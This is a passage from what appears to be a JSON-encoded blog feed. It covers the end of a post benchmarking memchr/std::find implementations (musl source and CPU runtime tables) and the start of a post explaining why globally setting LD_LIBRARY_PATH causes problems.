with string scan instructions (SCASB, SCASW,\nSCASD, SCASQ) or compare instructions (CMPSB, CMPSW, SMPSD,\nSMPSQ) is not recommended for high performance.  Consider using\nSIMD instructions instead.<\/p>\n<\/blockquote>\n<p>Apparently, it is just there for symmetry with the existing\nnon-64 Bit instruction set.<\/p>\n<h3 id=\"musl\">Musl<a class=\"headerlink\" href=\"#musl\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p><a href=\"https:\/\/www.musl-libc.org\/\">Musl<\/a>, a robust C library that strives for standard conformance,\nalso doesn't include a x86-64 specific <code>memchr()<\/code> verison (as of\n2016-09-10). But its <a href=\"https:\/\/gitlab.com\/gsauthof\/musl\/blob\/e738b8cbe64b6dd3ed9f47b6d4cd7eb2c422b38d\/src\/string\/memchr.c\">generic version<\/a> is more\nconcise:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"c1\">#include &lt;string.h&gt;<\/span>\n<span class=\"c1\">#include &lt;stdint.h&gt;<\/span>\n<span class=\"c1\">#include &lt;limits.h&gt;<\/span>\n\n<span class=\"c1\">#define SS (sizeof(size_t))<\/span>\n<span class=\"c1\">#define ALIGN (sizeof(size_t)-1)<\/span>\n<span class=\"c1\">#define ONES ((size_t)-1\/UCHAR_MAX)<\/span>\n<span class=\"c1\">#define HIGHS (ONES * (UCHAR_MAX\/2+1))<\/span>\n<span class=\"c1\">#define HASZERO(x) ((x)-ONES &amp; ~(x) &amp; HIGHS)<\/span>\n\n<span class=\"nb nb-Type\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">memchr<\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb nb-Type\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">src<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nb nb-Type\">int<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"p\">)<\/span>\n<span class=\"p\">{<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"nb\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">src<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"n\">c<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">unsigned<\/span><span class=\"w\"> <\/span><span class=\"nb\">char<\/span><span class=\"p\">)<\/span><span class=\"n\">c<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(;<\/span><span class=\"w\"> <\/span><span class=\"p\">((<\/span><span class=\"n\">uintptr_t<\/span><span class=\"p\">)<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;<\/span><span class=\"w\"> <\/span><span class=\"n\">ALIGN<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"o\">++<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"o\">--<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">n<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"p\">{<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"n\">size_t<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">w<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">k<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">ONES<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">w<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb nb-Type\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"p\">)<\/span><span class=\"n\">s<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"o\">&gt;=<\/span><span class=\"n\">SS<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"o\">!<\/span><span class=\"n\">HASZERO<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">w<\/span><span class=\"o\">^<\/span><span class=\"n\">k<\/span><span class=\"p\">);<\/span><span class=\"w\"> <\/span><span class=\"n\">w<\/span><span class=\"o\">++<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"o\">-=<\/span><span class=\"n\">SS<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"nb nb-Type\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"p\">)<\/span><span class=\"n\">w<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"o\">!=<\/span><span class=\"w\"> <\/span><span class=\"n\">c<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"o\">++<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"o\">--<\/span><span class=\"p\">);<\/span>\n<span class=\"w\">    <\/span><span class=\"p\">}<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">return<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"w\"> <\/span><span class=\"err\">?<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"nb nb-Type\">void<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"p\">)<\/span><span class=\"n\">s<\/span><span class=\"w\"> <\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<span class=\"p\">}<\/span>\n<\/code><\/pre><\/div>\n\n<p>Again, this version implements chunked looping with <code>size_t<\/code>\nchunks. Thus, there is a prologue that takes care of alignment\nissues and an epilogue that deals with trailing bytes. All the\nnecessary extra bit operations and tests certainly look\nexpensive. And indeed, the runtime is 4 seconds or so above the\none of the naive implementation, i.e. 54 seconds in total.<\/p>\n<p><strong>Update (2016-09-20):<\/strong> <a href=\"http:\/\/www.openwall.com\/lists\/musl\/2016\/09\/18\/3\">related discussion on the musl\nmailinglist<\/a><\/p>\n<h2 id=\"measurements\">Measurements<a class=\"headerlink\" href=\"#measurements\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The runtime results for the Intel(R) Core(TM) i7-6600U CPU @\n2.60GHz machine (20 repetitions \u00e0 300000 records; Fedora 23, GCC 4.9), in seconds:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>exe<\/th>\n<th>min<\/th>\n<th>median<\/th>\n<th>mean<\/th>\n<th>max<\/th>\n<th>sdev<\/th>\n<th>speedup<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>find_avx2_overflow_ext<\/td>\n<td>28.33<\/td>\n<td>28.53<\/td>\n<td>28.69<\/td>\n<td>30.07<\/td>\n<td>0.42<\/td>\n<td>1.74<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_more<\/td>\n<td>28.63<\/td>\n<td>28.79<\/td>\n<td>29.07<\/td>\n<td>30.88<\/td>\n<td>0.55<\/td>\n<td>1.72<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_loop<\/td>\n<td>28.82<\/td>\n<td>29.05<\/td>\n<td>29.23<\/td>\n<td>30.42<\/td>\n<td>0.47<\/td>\n<td>1.71<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_align2<\/td>\n<td>28.98<\/td>\n<td>29.16<\/td>\n<td>29.70<\/td>\n<td>32.24<\/td>\n<td>1.02<\/td>\n<td>1.70<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_overflow<\/td>\n<td>29.08<\/td>\n<td>29.18<\/td>\n<td>29.36<\/td>\n<td>30.39<\/td>\n<td>0.35<\/td>\n<td>1.70<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_align<\/td>\n<td>29.05<\/td>\n<td>29.26<\/td>\n<td>29.43<\/td>\n<td>30.45<\/td>\n<td>0.42<\/td>\n<td>1.70<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_nozero<\/td>\n<td>28.93<\/td>\n<td>29.30<\/td>\n<td>29.53<\/td>\n<td>30.73<\/td>\n<td>0.58<\/td>\n<td>1.69<\/td>\n<\/tr>\n<tr>\n<td>find_avx2<\/td>\n<td>29.08<\/td>\n<td>29.45<\/td>\n<td>29.56<\/td>\n<td>30.69<\/td>\n<td>0.54<\/td>\n<td>1.69<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_memcpy<\/td>\n<td>29.27<\/td>\n<td>29.52<\/td>\n<td>29.65<\/td>\n<td>30.39<\/td>\n<td>0.34<\/td>\n<td>1.68<\/td>\n<\/tr>\n<tr>\n<td>find_sse<\/td>\n<td>30.56<\/td>\n<td>30.86<\/td>\n<td>31.13<\/td>\n<td>32.43<\/td>\n<td>0.59<\/td>\n<td>1.61<\/td>\n<\/tr>\n<tr>\n<td>find_diet<\/td>\n<td>31.66<\/td>\n<td>31.81<\/td>\n<td>31.99<\/td>\n<td>33.35<\/td>\n<td>0.47<\/td>\n<td>1.56<\/td>\n<\/tr>\n<tr>\n<td>find_memchr<\/td>\n<td>31.63<\/td>\n<td>31.95<\/td>\n<td>32.12<\/td>\n<td>33.73<\/td>\n<td>0.54<\/td>\n<td>1.55<\/td>\n<\/tr>\n<tr>\n<td>find_unroll2<\/td>\n<td>45.20<\/td>\n<td>45.68<\/td>\n<td>45.80<\/td>\n<td>46.75<\/td>\n<td>0.43<\/td>\n<td>1.09<\/td>\n<\/tr>\n<tr>\n<td>find_find<\/td>\n<td>46.48<\/td>\n<td>46.87<\/td>\n<td>47.39<\/td>\n<td>50.45<\/td>\n<td>1.04<\/td>\n<td>1.06<\/td>\n<\/tr>\n<tr>\n<td>find_naive<\/td>\n<td>49.41<\/td>\n<td>49.65<\/td>\n<td>50.00<\/td>\n<td>51.91<\/td>\n<td>0.69<\/td>\n<td>1.00<\/td>\n<\/tr>\n<tr>\n<td>find_uclibc<\/td>\n<td>53.89<\/td>\n<td>54.24<\/td>\n<td>54.64<\/td>\n<td>57.76<\/td>\n<td>0.98<\/td>\n<td>0.92<\/td>\n<\/tr>\n<tr>\n<td>find_musl<\/td>\n<td>53.70<\/td>\n<td>54.30<\/td>\n<td>54.64<\/td>\n<td>56.38<\/td>\n<td>0.82<\/td>\n<td>0.91<\/td>\n<\/tr>\n<tr>\n<td>find_unroll<\/td>\n<td>53.76<\/td>\n<td>54.50<\/td>\n<td>54.74<\/td>\n<td>56.64<\/td>\n<td>0.75<\/td>\n<td>0.91<\/td>\n<\/tr>\n<tr>\n<td>find_uclibcx86<\/td>\n<td>70.76<\/td>\n<td>71.11<\/td>\n<td>71.43<\/td>\n<td>73.12<\/td>\n<td>0.78<\/td>\n<td>0.70<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The runtime results for a Intel(R) Core(TM) i5-4250U CPU @ 1.30GHz\nmachine (20 repetitions \u00e0 300000 records; CentOS 7, GCC 4.8), in seconds:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>exe<\/th>\n<th>min<\/th>\n<th>median<\/th>\n<th>mean<\/th>\n<th>max<\/th>\n<th>sdev<\/th>\n<th>speedup<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>find_avx2_overflow<\/td>\n<td>43.77<\/td>\n<td>43.82<\/td>\n<td>43.92<\/td>\n<td>44.66<\/td>\n<td>0.26<\/td>\n<td>1.72<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_overflow_ext<\/td>\n<td>45.49<\/td>\n<td>45.55<\/td>\n<td>45.57<\/td>\n<td>45.74<\/td>\n<td>0.07<\/td>\n<td>1.66<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_more<\/td>\n<td>46.50<\/td>\n<td>46.62<\/td>\n<td>46.65<\/td>\n<td>47.06<\/td>\n<td>0.13<\/td>\n<td>1.62<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_align2<\/td>\n<td>46.67<\/td>\n<td>46.76<\/td>\n<td>46.78<\/td>\n<td>47.14<\/td>\n<td>0.09<\/td>\n<td>1.61<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_align<\/td>\n<td>46.70<\/td>\n<td>46.76<\/td>\n<td>46.76<\/td>\n<td>46.89<\/td>\n<td>0.04<\/td>\n<td>1.61<\/td>\n<\/tr>\n<tr>\n<td>find_avx2<\/td>\n<td>47.03<\/td>\n<td>47.09<\/td>\n<td>47.11<\/td>\n<td>47.25<\/td>\n<td>0.06<\/td>\n<td>1.60<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_loop<\/td>\n<td>48.20<\/td>\n<td>48.33<\/td>\n<td>48.37<\/td>\n<td>48.69<\/td>\n<td>0.11<\/td>\n<td>1.56<\/td>\n<\/tr>\n<tr>\n<td>find_sse<\/td>\n<td>49.21<\/td>\n<td>49.52<\/td>\n<td>49.50<\/td>\n<td>49.85<\/td>\n<td>0.16<\/td>\n<td>1.52<\/td>\n<\/tr>\n<tr>\n<td>find_memchr<\/td>\n<td>50.56<\/td>\n<td>50.76<\/td>\n<td>50.78<\/td>\n<td>50.99<\/td>\n<td>0.08<\/td>\n<td>1.49<\/td>\n<\/tr>\n<tr>\n<td>find_diet<\/td>\n<td>51.19<\/td>\n<td>51.41<\/td>\n<td>51.44<\/td>\n<td>51.98<\/td>\n<td>0.17<\/td>\n<td>1.47<\/td>\n<\/tr>\n<tr>\n<td>find_find<\/td>\n<td>69.03<\/td>\n<td>69.21<\/td>\n<td>69.35<\/td>\n<td>70.32<\/td>\n<td>0.36<\/td>\n<td>1.09<\/td>\n<\/tr>\n<tr>\n<td>find_avx2_nozero<\/td>\n<td>75.29<\/td>\n<td>75.38<\/td>\n<td>75.52<\/td>\n<td>76.47<\/td>\n<td>0.34<\/td>\n<td>1.00<\/td>\n<\/tr>\n<tr>\n<td>find_naive<\/td>\n<td>75.27<\/td>\n<td>75.41<\/td>\n<td>75.42<\/td>\n<td>75.56<\/td>\n<td>0.09<\/td>\n<td>1.00<\/td>\n<\/tr>\n<tr>\n<td>find_musl<\/td>\n<td>75.92<\/td>\n<td>76.05<\/td>\n<td>76.07<\/td>\n<td>76.23<\/td>\n<td>0.08<\/td>\n<td>0.99<\/td>\n<\/tr>\n<tr>\n<td>find_uclibc<\/td>\n<td>79.37<\/td>\n<td>79.56<\/td>\n<td>79.60<\/td>\n<td>80.17<\/td>\n<td>0.19<\/td>\n<td>0.95<\/td>\n<\/tr>\n<tr>\n<td>find_uclibcx86<\/td>\n<td>101.6<\/td>\n<td>102.3<\/td>\n<td>102.3<\/td>\n<td>102.5<\/td>\n<td>0.16<\/td>\n<td>0.74<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>The runtime results for an AMD Phenom(tm) 9750 Quad-Core\nProcessor (@ 2.40 GHz, no AVX) machine (20 repetitions \u00e0 300000\nrecords; CentOS 7, GCC 4.8), in seconds:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>exe<\/th>\n<th>min<\/th>\n<th>median<\/th>\n<th>mean<\/th>\n<th>max<\/th>\n<th>sdev<\/th>\n<th>speedup<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>find_sse<\/td>\n<td>87.39<\/td>\n<td>91.48<\/td>\n<td>91.48<\/td>\n<td>95.47<\/td>\n<td>2.51<\/td>\n<td>1.90<\/td>\n<\/tr>\n<tr>\n<td>find_diet<\/td>\n<td>90.95<\/td>\n<td>92.55<\/td>\n<td>93.02<\/td>\n<td>98.61<\/td>\n<td>2.13<\/td>\n<td>1.88<\/td>\n<\/tr>\n<tr>\n<td>find_memchr<\/td>\n<td>89.31<\/td>\n<td>92.80<\/td>\n<td>92.92<\/td>\n<td>101.22<\/td>\n<td>2.87<\/td>\n<td>1.88<\/td>\n<\/tr>\n<tr>\n<td>find_find<\/td>\n<td>116.3<\/td>\n<td>119.2<\/td>\n<td>119.8<\/td>\n<td>126.5<\/td>\n<td>2.77<\/td>\n<td>1.46<\/td>\n<\/tr>\n<tr>\n<td>find_uclibc<\/td>\n<td>118.4<\/td>\n<td>120.0<\/td>\n<td>121.2<\/td>\n<td>127.2<\/td>\n<td>2.53<\/td>\n<td>1.45<\/td>\n<\/tr>\n<tr>\n<td>find_musl<\/td>\n<td>118.1<\/td>\n<td>120.7<\/td>\n<td>120.9<\/td>\n<td>125.0<\/td>\n<td>1.71<\/td>\n<td>1.44<\/td>\n<\/tr>\n<tr>\n<td>find_uclibcx86<\/td>\n<td>125.7<\/td>\n<td>129.0<\/td>\n<td>129.0<\/td>\n<td>136.4<\/td>\n<td>2.46<\/td>\n<td>1.35<\/td>\n<\/tr>\n<tr>\n<td>find_naive<\/td>\n<td>170.9<\/td>\n<td>174.2<\/td>\n<td>174.2<\/td>\n<td>178.2<\/td>\n<td>2.01<\/td>\n<td>1.00<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Note that, in contrast to the more recent Intel CPUs above, this\nis a CPU where the chunked versions are faster than the naive\none. Even the <code>REPNE SCASB<\/code> version is faster than the naive one,\ni.e. it doesn't have a runtime penalty on this CPU. Also, the more\nrecent i5-4250U has quite more performance at 1 GHz less - the\nnaive version runs 3.5 times or so as fast on that CPU - which\nis significantly more energy efficient.<\/p>\n<p><strong>Update (2016-09-18):<\/strong> <a href=\"https:\/\/gms.tf\/sparc-and-ppc-find-benchmark-results.html\">results for SPARC and PPC<\/a><\/p>\n<h2 id=\"conclusion\">Conclusion<a class=\"headerlink\" href=\"#conclusion\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>A good default choice for <code>std::find()<\/code> is to just call\n<code>memchr()<\/code> since it is highly optimized on many systems (e.g.\nwith Glibc on x86 and other architectures).<\/p>\n<p>On x86, and in case the libc <code>memchr()<\/code> doesn't use AVX, it pays\noff to switch to an AVX version.  Some tricks like using a\nbuffer overflowing version or inlining only bring marginal gains.<\/p>\n<p>It makes sense to change the <a href=\"https:\/\/gcc.gnu.org\/onlinedocs\/libstdc++\/\">GNU STL<\/a> and add\nspecialisation of <code>std::find()<\/code> for <code>char<\/code> and <code>wchar_t<\/code>. The\nspecialisation for <code>char<\/code> could directly call\n<code>__builtin_memchr()<\/code> (the builtin to save an include) or even\n<a href=\"http:\/\/en.cppreference.com\/w\/cpp\/string\/char_traits\/find\"><code>std::char_traits&lt;char&gt;::find()<\/code><\/a> because that\nspecialization already calls <code>__bultin_memchr()<\/code>.<\/p>\n<p>Another thing to look into is what CPU feature dependent runtime\ndispatching mechanisms the Glibc provides such that an AVX2 or\neven AVX-512 version is automatically selected at runtime (if the\nCPU supports the extension).<\/p>\n<p>When dealing with an AVX-512 capable CPU, it makes sense to not\nonly test with 512 bit registers but also test the new compare\ninstructions that directly return the mask (e.g.\n<code>_mm256_cmpeq_epi8_mask()<\/code>), thus saving one vector instruction\nin comparison to previous Intel SIMD variants.<\/p>\n<p>Modern CPUs are even relatively forgiving to a naive\nimplementation, while classic manual unrolling as in GNU STL's\n<code>std::find<\/code>  doesn't help much and some chunking techniques may\neven yield worse runtimes.<\/p>\n<p>As always, do your own performance tests, CPU architectures\nchange and techniques that might have been beneficial on one\narchitecture generation (e.g. aligned accesses) aren't anymore or\neven are counterproductive (e.g. excessive chunking). Of course,\nall this also depends on the range size and the character\ndistribution of the search input, i.e. how many characters an\nimplementation has to search through to get an match, on average.<\/p>","category":[{"@attributes":{"term":"C++"}},{"@attributes":{"term":"optimization"}}]},{"title":"LD_LIBRARY_PATH considered harmful","link":{"@attributes":{"href":"https:\/\/gms.tf\/ld_library_path-considered-harmful.html","rel":"alternate"}},"published":"2016-07-22T10:10:00+02:00","updated":"2016-07-22T10:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2016-07-22:\/ld_library_path-considered-harmful.html","summary":"<p>The purpose of the <code>LD_LIBRARY_PATH<\/code> environment variable is to instruct the\nlinker to consider additional directories when searching for libraries. Its\nvalid use case is the test of alternative library versions installed in\nnon-standard locations. In contrast to that, globally setting the\n<code>LD_LIBRARY_PATH<\/code> (e.g. in the profile of a \u2026<\/p>","content":"<p>The purpose of the <code>LD_LIBRARY_PATH<\/code> environment variable is to instruct the\nlinker to consider additional directories when searching for libraries. Its\nvalid use case is the test of alternative library versions installed in\nnon-standard locations. In contrast to that, globally setting the\n<code>LD_LIBRARY_PATH<\/code> (e.g. in the profile of a user) is harmful because there is\nno setting that fits every program. The directories in the <code>LD_LIBRARY_PATH<\/code>\nenvironment variable are considered before the default ones and the ones\nspecified in the binary executable. Thus, a - say - system\ncommand that is supposed to use a system library easily gets linked at runtime\nwith an API incompatible version. Also, having a program that relies on a\ncertain <code>LD_LIBRARY_PATH<\/code> setting creates the maintenance burden to always\naccurately document that setting and distribute that documentation with the\nbinary. Instead, to avoid these issues, the additional directories (if any)\nthat should be searched by the runtime linker should be specified via linker\noptions (e.g. <code>-rpath<\/code> or <code>-R<\/code>) at build-time. This results in those\ndirectories being written to an <a href=\"https:\/\/en.wikipedia.org\/wiki\/Executable_and_Linkable_Format\">ELF<\/a> attribute that is considered by the runtime\nlinker (i.e. the runpath).<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#related\">Related<\/a><\/li>\n<li><a href=\"#possible-roots\">Possible Roots<\/a><\/li>\n<li><a href=\"#harm-at-compile-time\">Harm at compile time<\/a><ul>\n<li><a href=\"#linux\">Linux<\/a><\/li>\n<li><a href=\"#solaris\">Solaris<\/a><\/li>\n<li><a href=\"#makefiles\">Makefiles<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#harm-at-runtime\">Harm at runtime<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<li><a href=\"#recommendations\">Recommendations<\/a><ul>\n<li><a href=\"#verify-environment-settings\">Verify Environment Settings<\/a><\/li>\n<li><a href=\"#set-the-runtime-library-search-path-at-build-time\">Set the runtime library search path at build time<\/a><\/li>\n<li><a href=\"#use-origin\">Use $ORIGIN<\/a><\/li>\n<li><a href=\"#on-solaris-use-wl-i\">On Solaris, use -Wl,-i<\/a><\/li>\n<li><a href=\"#patch-existing-elf-binaries\">Patch existing ELF binaries<\/a><\/li>\n<li><a href=\"#quarantine-legacy-ld_library_path-settings\">Quarantine legacy LD_LIBRARY_PATH settings<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/div>\n<h2 id=\"related\">Related<a class=\"headerlink\" href=\"#related\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Usenet discussions about the miss-use of <code>LD_LIBRARY_PATH<\/code> go back as early as\n<a href=\"https:\/\/groups.google.com\/d\/msg\/comp.unix.solaris\/E46iFdvPea4\/D_VaV83tK7QJ\">1993<\/a>. In <a href=\"https:\/\/groups.google.com\/d\/msg\/comp.unix.solaris\/UBn5hcC6hV8\/7NCNscARZnIJ\">1994<\/a>, Casper H.s. Dik (who later posted as Sun engineer)\nconcludes his answer in <code>comp.unix.solaris<\/code> with '<code>LD_LIBRARY_PATH<\/code>: just say\nno'. For context, the first Solaris version that comes with ELF executables and\nshared libraries seems to be Solaris 2.0, which was released 1992. Linux\nsupports ELF since 1995.<\/p>\n<p>Around <a href=\"https:\/\/groups.google.com\/d\/msg\/alt.solaris.x86\/wXGbRv8fKO8\/bXCFzzqdsJUJ\">1999<\/a>, David Barr <a href=\"http:\/\/wayback.archive.org\/web\/20060719201954\/http:\/\/www.visi.com\/~barr\/ldpath.html\">published<\/a> the article <a href=\"http:\/\/xahlee.info\/UnixResource_dir\/_\/ldpath.html\">Why <code>LD_LIBRARY_PATH<\/code> is bad<\/a>.\nIt has two examples that detail how <code>LD_LIBRARY_PATH<\/code> causes harm, motivates\nvalid uses and describes better alternative ways already available on Solaris\n7. The page <a href=\"http:\/\/prefetch.net\/articles\/linkers.badldlibrary.html\"><code>LD_LIBRARY_PATH<\/code> Is Not The Answer<\/a> references David Barr's\narticle and calls globally setting the <code>LD_LIBRARY_PATH<\/code> a 'complete hack'.\nAlso referenced by this page is Rod Evans' 2004 blog post <a href=\"https:\/\/web.archive.org\/web\/20060214214006\/http:\/\/blogs.sun.com\/roller\/page\/rie\/20040710\"><code>LD_LIBRARY_PATH<\/code> - just\nsay no<\/a>. He, as a Sun employee at that time - in his sun.com blog, details on\nthe sister variables <code>LD_LIBRARY_PATH_32<\/code> and <code>LD_LIBRARY_PATH_64<\/code> that are\nalso available on Solaris, in addition to <code>LD_LIBRARY_PATH<\/code>. His acroread example shows\nhow they can complicate the situation such that even more harm is delivered.\nHis conclusion also is to use the runpath and where necessary to make use of\nthe <code>$ORIGIN<\/code> linker variable - a variable that is substituted by the runtimee linker\nwith the path where the executable is located. Similar to this example\nis the war story <a href=\"https:\/\/blogs.oracle.com\/darcy\/entry\/purging_ld_library_path\">Purging <code>LD_LIBRARY_PATH<\/code><\/a> written 2010 by Joseph D. Darcy\non his Oracle blog. He describes the 'messy' way the JDK used and manipulated\n<code>LD_LIBRARY_PATH<\/code> until version 7. Again, <code>$ORIGIN<\/code> is found to be a better\nalternative mechanism for that use case. Another (then) Sun\ncolleague Ali Bahrami follows up on Evans with <a href=\"https:\/\/blogs.oracle.com\/ali\/entry\/avoiding_ld_library_path_the\">Avoiding\n<code>LD_LIBRARY_PATH<\/code>: The Options<\/a>, in 2007. He calls <code>LD_LIBRARY_PATH<\/code> a\n'crude tool' and argues that it is probably the '#1 one way to\nget yourself into trouble in an ELF environment'. As an\nalternative he describes the <a href=\"https:\/\/blogs.oracle.com\/ali\/entry\/introducing_elfedit_a_tool_for\"><code>elfedit<\/code><\/a> tool available in Solaris\n11 and later Solaris 10 patch levels.<\/p>\n<p>The <a href=\"http:\/\/tldp.org\/HOWTO\/Program-Library-HOWTO\/shared-libraries.html#AEN80\">Shared Library HowTo<\/a> also references David Barr's article and\nconcludes that it <\/p>\n<blockquote>\n<p>is handy for development and testing, but shouldn't be\nmodified by an installation process for normal use by normal users.<\/p>\n<\/blockquote>\n<p>As an\nalternative, it includes an example how (on Linux) the runtime linker\n<code>\/lib\/ld-linux.so.2<\/code> can be explicitly invoked for executing a given binary\nusing an alternative search path.<\/p>\n<p>The <a href=\"https:\/\/docs.oracle.com\/cd\/E19205-01\/819-5262\/aeudd\/index.html\">Sun Studio 12 Fortran Programming Guide<\/a> (!) warns about\nusing the <code>LD_LIBRARY_PATH<\/code> for anything but test scenarios:<\/p>\n<blockquote>\n<p>Use of the <code>LD_LIBRARY_PATH<\/code> environment variable with production\nsoftware is strongly discouraged. Although useful as a\ntemporary mechanism for influencing the runtime linker\u2019s search\npath, <strong>any<\/strong> dynamic executable that can reference this\nenvironment variable will have its search paths altered. You\nmight see unexpected results or a degradation in performance.<\/p>\n<\/blockquote>\n<p>(emphasis theirs)<\/p>\n<p>Linux distributions usually don't include any package that relies on a certain\n<code>LD_LIBRARY_PATH<\/code> setting - they install the packaged libraries into the\nstandard locations. But even a package distribution like <a href=\"https:\/\/www.opencsw.org\/\">OpenCSW<\/a> (that\ninstalls all its packages into a non-standard path) has a <a href=\"https:\/\/www.opencsw.org\/manual\/for-administrators\/setup.html#do-not-set-ld-library-path\">policy<\/a> against\n<code>LD_LIBRARY_PATH<\/code> for all the right reasons:<\/p>\n<blockquote>\n<p>It is not necessary to set it for OpenCSW binaries. All of them are built\nwith the -R flag, so each binary itself knows where to look for the shared\nobjects.<\/p>\n<p>You do not need to set 